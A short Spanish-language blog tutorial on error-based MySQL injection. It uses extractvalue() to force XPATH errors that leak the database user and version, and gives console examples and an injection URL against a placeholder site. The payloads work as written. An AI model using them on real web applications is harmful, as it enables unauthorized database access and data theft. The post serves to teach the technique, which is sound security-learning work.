q3rv0

Follow the white rabbit….

MYSQLI EB Con Extractvalue()

Quien conozca de inyecciones sabe bien que para explotar una mysqli error based es necesario utitlizar las funciones floor() y rand() .

Pero hay otra manera que se basa en aprovechar otro tipo de error, incluso es mucho mas sencilla de interpretar ademas de ser un vector corto y eficaz.

Leyendo el blog de Dmitry Evteev en una entrada que habia publicado en el 2009 (bastante viejita ya), encontre una forma de explotar un error based de una manera que llamo poderosamente mi atencion.

La funcion extractvalue() sirve para extraer valores de un elemento XML, por ejemplo tenemos la siguiente cadena:

1
<b>q3rv0</b>

Si quieramos extraer la palabra q3rv0 lo realizariamos de la siguiente manera.

1
2
3
4
5
6
7
8
9
mysql> select extractvalue('<b>q3rv0</b>', '/b');
+------------------------------------+
| extractvalue('<b>q3rv0</b>', '/b') |
+------------------------------------+
| q3rv0                              |
+------------------------------------+
1 row in set (0.00 sec)

mysql>

La manera de aprovechar esta funcion para que nos devuelva informacion es obligarla a realizar un error de sintaxis.

Que pasa si introducimos la funcion user() en el argumento que es utilizado para extraer ciertos valores.

1
2
mysql> select extractvalue('<b>q3rv0</b>', user());
ERROR 1105 (HY000): XPATH syntax error: '@localhost'

Como vemos nos arroja el error, ademas del usuarios en la db.

El problema es que lo muestra entrecortado, para eso vamos a concatenar la salida.

1
2
mysql> select extractvalue('<b>q3rv0</b>', concat(0x7e, user()));
ERROR 1105 (HY000): XPATH syntax error: '~root@localhost'

Como podemos llevarla acabo mediante una inyeccion?

De la siguiente manera.

1
http://www.webvuln.com/negocio.php?id=60 union select extractvalue(1, concat(0x7e, version()))–

Referencia: http://devteev.blogspot.com.ar